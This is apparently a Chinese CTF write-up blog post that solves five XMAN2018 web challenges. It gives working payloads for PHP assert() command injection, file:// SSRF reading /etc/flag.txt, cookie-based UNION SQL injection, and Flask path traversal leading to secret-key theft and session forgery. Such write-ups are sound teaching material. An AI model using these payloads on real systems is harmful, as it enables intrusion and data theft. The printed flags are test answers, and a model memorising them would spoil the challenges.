V0W's Blog

XMAN2018 排位赛wp

字数统计: 2,141阅读时长: 10 min
2018/08/11 Share

XMAN2018 排位赛wp

前言

感觉到了Web狗在CTF比赛中存活的艰难

其实笔者并没有参加XMAN集训营,但是从朋友那弄到8.10XMAN排位赛的一点题目,质量很不错,解了一两个web题目,misc解了三四个吧,反正很菜很菜。。。

但是确实学习到一些东西,又去网上找了wp详细看了,总结一下。

WEB

0x01 Meizijiu_magic2

文件上传到云
链接:https://pan.baidu.com/s/1c2xBggREtl2XvCQEGlZocw 密码:6qzz

分析

看到hint token_get_all()
打开下载的txt文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/Applications/MAMP/htdocs/CTF/XMAN/code.php:3:
array (size=232)
0 =>
array (size=3)
0 => int 376
2 => int 1
1 =>
array (size=3)
0 => int 312
1 => string '' (length=2)
2 => int 2
2 =>
array (size=3)
0 => int 379
2 => int 2
3 => string '=' (length=1)
4 =>
array (size=3)
1 => string ' ' (length=1)
2 => int 2
..............

题目使用了token_get_all的解析器,将代码转换成上面的样子

这里手动解析挨行转换,将空格和其他空白符用*号代替

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
**=*******;
*****=*base64_decode(******);
****=*;
$dd****=*85;
$____*=**********;
*******=*"In".***."P"."h".***;
($i=0;$i<10;$i++){
$dd=*=*$dd*+*1;
}
*********=*chr($dd);
$dc*=*$dd;
{
$dd*=*$dc*+*$dc;
$dc;
($dc<100)
$_GET['secret']*=*isset($_GET['secret'])?$_GET['secret']:1;
($_GET['secret']{
*1:
echo*"XMAN2018!";
;
*4:
;
*$dd:$f1*=***.{."***".********.****.********.str_rot13(*****).******.******;
echo*$f1;
break;
:
*"XMAN NB!";
}


})
}

虽然看不了完整逻辑,但是大概的逻辑还是能看的出来的。
secret接受一个参数,然后接受一个数,由于$dc<100可以判断最终数字应该不大,于是可以爆破,
secret=198
mark

最后贴上题目源码(无马赛克:-)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
$_ = "FLAG";
$__ = base64_decode("QVNU");
$___ = "TOKEN";
$dd = "85";
$____ = "Erirefr";
$_____ = "In"."-"."P"."h"."p";
for($i=0;$i<10;$i++){
$dd = $dd + 1;
}
$_______ = chr($dd);
$dc = $dd;
do{
$dd = $dc + $dc;
$dc++;
}while($dc<100);
$_GET['secret'] = isset($_GET['secret'])?$_GET['secret']:1;
switch($_GET['secret']){
case 1:
echo "XMAN2018!";
break;
case 4:
break;
case $dd:
$fl = $_."{"."$__".$_______.$___.$_______.str_rot13($____).$_____."!@#}";
echo $fl;
break;
default:
echo "XMAN NB!";
}
?>

flag

知识点

php简单审计,php-token_get_all

总结

其实这道题一点都不难,只要能把代码还原出来,大概能读懂代码逻辑,问题就迎刃而解,但是由于没有好的办法,php也没有还原函数,还原过程有点费劲。

MAKEIT

原题链接

http://202.112.51.184:15080/

分析

有Git源码泄露,Githack得到源码,在index.php中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

  • 传入page参数,file可控,可以构造payload使assert函数闭合,然后RCE
  • 构造payload?page=', '..') === false and system("cat templates/flag.php");//
  • payload' and die(show_source("templates/flag.php")) or '
  • PHP语句就变成了assert("strpos('$file', '..') === false") and system("cat templates/flag.php");//
  • 查看页面源代码得到flag
    1
    2
    <?php $FLAG="XMAN{flag_is_so_cool}"; ?>
    That file doesn't exist!

flag

XMAN{flag_is_so_cool}

知识点

.git源码泄露,远程命令执行

SIMPLE SSRF

原题链接

http://202.112.51.184:11080

题目hint:

1. flag格式:XMAN{.*}
2. hint:curl
3. hint:flag在/etc/flag.txt

分析

首先尝试更换url为https://sina.cn
返回wrong site,判断是对url做了检测
采用file协议进行读取flag.txt文件

http://202.112.51.184:11080/?site=file://www.baidu.com/etc/flag.txt

get source failed.

尝试%00截断
http://202.112.51.184:11080/?site=file://www.baidu.com/etc/flag.txt%00

还是 get source failed.

怀疑是把特殊字符过滤了
url转码后,得到flag

http://202.112.51.184:11080/?site=file://www.baidu.com/etc/flag.txt%2500

XMAN{f1l3_pr0toc0l_1s_us3ful}

flag

XMAN{f1l3_pr0toc0l_1s_us3ful}

知识点

SSRF,file协议,简单bypass

BBSQLI

原题链接

http://202.112.51.184:16080/

分析

POST GET均无效,尝试cookie注入,发现

1
2
3
4
5
6
7
8
9
Cookie:PHPSESSID=1' and 1=1 --+
结果:
Your secrets
123
sss
-----
Cookie:PHPSESSID=1' and 1=2 --+
结果
You don't have any secrets yet.

说明存在SQL注入漏洞,接下来简单的union联合查询也就可以得到结果了。也可以布尔盲注,错误的话,显示信息都是You don't have any secrets yet.
下面测试union联合查询:

1
2
3
4
5
# 测试发现只有2列
Cookie: PHPSESSID=1' group by 2--+;

# 确定可用列
Cookie: PHPSESSID=1' union select 1,2--+;

返回2,2可用

查表名

1
2
3
4
5
Cookie: PHPSESSID=1' union select 1,table_name from information_schema.tables where table_schema=database() --+

表名:
[GDJM_flag]
secrets

mark

查列名

1
2
3
4
5
6
Cookie: PHPSESSID=1' union select 1,column_name from information_schema.columns where table_schema=database() --+;

列名
flag
session_id
secret

GetFlag

1
Cookie: PHPSESSID=1' union select 1,flag from `[GDJM_flag]`--+;

mark

flag

xman{YoVr_4R3_a_Bada5s_Ge7_My_Fl4g}

知识点

Cooike 注入

注意点

这里有一点点坑,就是涉及到[]命名的表名,列名都需要加`反引号,否则报错。

看了sql文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
DROP DATABASE IF EXISTS `sqli`;

CREATE DATABASE `sqli`;

USE `sqli`;

DROP TABLE IF EXISTS `secrets`;

CREATE TABLE `secrets` (
`session_id` varchar(50) DEFAULT NULL,
`secret` varchar(200) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

DROP TABLE IF EXISTS `[GDJM_flag]`;
CREATE TABLE `[GDJM_flag]`(
`flag` varchar(50) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

LOCK TABLES `[GDJM_flag]` WRITE;

INSERT INTO `[GDJM_flag]` VALUES ('xman{YoVr_4R3_a_Bada5s_Ge7_My_Fl4g}');

UNLOCK TABLES;
flush privileges;
CREATE USER 'sqli'@'%' IDENTIFIED BY 'sqli';
grant all ON *.* to 'sqli'@'%';
flush privileges;

发现其中涉及库名,表名,字段名的都是用反引号的,后来在sql命令行中尝试过不用反引号的带有[]的表名报错,并且用mysql命令行查询时,不加反引号报错,所以判定,当在mysql中反引号并不只是把保留关键字当用户名,并且遇到带中文和[]的命名时,也需要用反引号,所以在sql注入中看到中括号就考虑反引号就可以。
mark

SSHOP

题目描述:

http://202.112.51.184:13080/
flag格式:
flag{.*}

解题思路:

打开题目后发现能直接把源码下下来审计, 发现只要session['admin']==True就能获得 flag.
首先看一下判断部分的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 用户信息
@users.route('/')
def user():
if not login_status_check():
return redirect(url_for('users.login'))
flag = open('./flag').read() if is_admin() else False
return render_template('user.html', user=user, flag=flag, current_user=1)

def is_admin():
if login_status_check():
return session['admin']
else:
return False

def login_status_check():
return bool(session.get('id', False))

这里的逻辑就是先判断 session 中是否有 ID(是否登陆), 如果有的话就返回 session[‘admin] 的值, 那么再看一下这个session[‘admin’]是怎么来的.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@users.route('/login', methods=['POST', 'GET'])
def login():
Login_error = False
if request.method == 'POST':
user = User.query.filter_by(username=request.form.get('username')).first()
if not user or user.password != request.form.get('password'):
Login_error = u'用户名或密码错误'
return render_template("login.html", Login_error=Login_error)
else:
session['id'] = user.id
session['username'] = user.username
session['admin'] = False
return redirect(url_for('users.user'))
return render_template("login.html")

可以看到这里只要登陆成功后便会把 session['admin'] 设置为 False, 一开始在这个地方卡了好久, 不知道修改 session['admin'], 后来在查文章的时候发现 ph 师傅博客提到了flask session机制. 详情
博客里面提到flask中使用的session是客户端session, 通常session是储存在服务端里面的, 用户能看到的只是session的名称, 并不能看到他的值, 而flask使用的是客户端session, 是直接把值储存在用户的 cookie 中的, 所以这就导致了用户可以篡改 session. 看一下本题的 secret_key

1
2
3
4
5
6
7
with open('.secret_key', 'a+b') as secret:
secret.seek(0)
key = secret.read()
if not key:
key = randstr(32)
secret.write(key)
secret.flush()

他使用的 flask 默认的加密方法, 并且不是随机生成的 key, 而是读取外部的 key. 所以我们只要获取了 key 就可以伪造 session 了. 审了好久发现了一个目录穿越漏洞.

1
2
3
4
5
6
7
@users.route('/asserts/<path:path>')
def static_handler(path):
filename = os.path.join(app.root_path,'asserts',path)
if os.path.isfile(filename):
return send_file(filename)
else:
abort(404)

他这里没对传入的参数进行过滤, 所以导致了可以目录穿越. 直接访问/assert/..%2f..%2f.secret_key就可以获取到 key
构造payload下载key文件

http://202.112.51.184:13080/asserts/..%2f..%2f.secret_key

然后本地搭建环境, 把登陆部分的session['admin']=False改成 True; 然后抓登陆后的包, 把 cookie 复制过去题目就能看到 flag 了.

总结

这个题没做出来,对flask的理解很很差,准备写一个flask,然后把一些常见的flask漏洞做个总结。

参考链接

Misc的题目可以参考这位大佬的

CATALOG
  1. 1. XMAN2018 排位赛wp
  2. 2. 前言
  3. 3. WEB
    1. 3.1. 0x01 Meizijiu_magic2
      1. 3.1.1. 分析
      2. 3.1.2. flag
      3. 3.1.3. 知识点
      4. 3.1.4. 总结
    2. 3.2. MAKEIT
      1. 3.2.1. 原题链接
      2. 3.2.2. 分析
      3. 3.2.3. flag
      4. 3.2.4. 知识点
    3. 3.3. SIMPLE SSRF
      1. 3.3.1. 原题链接
      2. 3.3.2. 分析
      3. 3.3.3. flag
      4. 3.3.4. 知识点
    4. 3.4. BBSQLI
      1. 3.4.1. 原题链接
      2. 3.4.2. 分析
      3. 3.4.3. flag
      4. 3.4.4. 知识点
      5. 3.4.5. 注意点
    5. 3.5. SSHOP
      1. 3.5.1. 题目描述:
      2. 3.5.2. 解题思路:
      3. 3.5.3. 总结
  4. 4. 参考链接